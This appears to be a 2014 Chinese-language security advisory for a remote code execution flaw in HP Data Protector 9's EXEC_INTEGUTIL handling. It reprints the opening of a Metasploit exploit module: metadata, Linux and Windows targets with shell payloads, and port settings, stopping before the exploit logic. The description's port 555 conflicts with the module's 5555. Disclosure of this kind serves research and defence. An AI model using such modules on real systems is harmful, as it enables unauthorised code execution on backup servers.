发布日期：2014-10-21
更新日期：2014-10-24
受影响系统：
HP Data Protector 9
描述：
HP OpenView Storage Data Protector软件是企业环境中单个服务器自动备份和恢复的软件，支持磁盘存储或磁带存储目标。
HP Data Protector 9在处理EXEC_INTEGUTIL消息时会触发Backup client服务内的漏洞，该服务默认监听在TCP/555上，成功利用此漏洞后可利用EXEC_INTEGUTIL数据包执行任意代码。
<*来源：Aniway.Anyway
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'HP Data Protector EXEC_INTEGUTIL Remote Code Execution',
'Description' => %q{
This exploit abuses a vulnerability in the HP Data Protector. The vulnerability exists
in the Backup client service, which listens by default on TCP/5555. The EXEC_INTEGUTIL
request allows to execute arbitrary commands from a restricted directory. Since it
includes a perl executable, it's possible to use an EXEC_INTEGUTIL packet to execute
arbitrary code. On linux targets, the perl binary isn't on the restricted directory, but
an EXEC_BAR packet can be used to access the perl binary, even in the last version of HP
Data Protector for linux. This module has been tested successfully on HP Data Protector
9 over Windows 2008 R2 64 bits and CentOS 6 64 bits.
},
'Author' =>
[
'Aniway.Anyway <Aniway.Anyway[at]gmail.com>', # vulnerability discovery
'juan vazquez' # msf module
],
'References' =>
[
[ 'ZDI', '14-344']
],
'Payload' =>
{
'DisableNops' => true
},
'DefaultOptions' =>
{
# The powershell embedded payload takes some time to deploy
'WfsDelay' => 20
},
'Targets' =>
[
[ 'Linux 64 bits / HP Data Protector 9',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'perl gawk bash-tcp openssl python generic'
}
}
}
],
[ 'Windows 64 bits / HP Data Protector 9',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'powershell'
}
}
}
]
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'Oct 2 2014'
))
register_options(
[
Opt::RPORT(5555)
], self.class)
end
def check
fingerprint = get_fingerprint
if fingerprint.nil?
return Exploit::CheckCode::Unknown
end